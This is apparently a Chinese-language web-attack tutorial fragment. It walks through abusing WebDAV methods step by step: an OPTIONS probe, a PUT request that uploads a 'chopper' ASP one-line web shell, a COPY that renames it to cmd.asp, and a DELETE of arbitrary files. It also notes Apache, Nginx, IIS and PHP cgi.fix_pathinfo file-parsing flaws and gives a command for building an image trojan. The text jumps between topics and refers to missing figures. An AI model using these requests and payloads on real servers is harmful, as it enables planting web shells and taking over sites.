第一步,通过OPTIONS探测服务器所支持的HTTP方法
请求: OPTIONS / HTTP/1.1 Host:www.example.com 响应: 。。。 Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH 。。。第二步,通过PUT方法向服务器上传脚本文件
请求: PUT /a.txt HTTP/1.1 Host:www.example.com Content-Length:30 <%eval request("chopper")%>第三步,通过Move或Copy方法改名
请求: COPY /a.txt HTTP/1.1 Host:www.example.com Destination:http://www.example.com/cmd.asp第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求: DELETE /a.txt HTTP/1.1 Host:www.example.com
这种方法可以绕过基于黑名单的检查。
Apache认识的扩展名保存在安装目录下"/conf/mime.types"文件中。下图为本机的情况,文件在路径C:\wamp\bin\apache\Apache2.2.21\conf\mime.types
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:\wamp\bin\php\php5.3.10\php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
附:用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)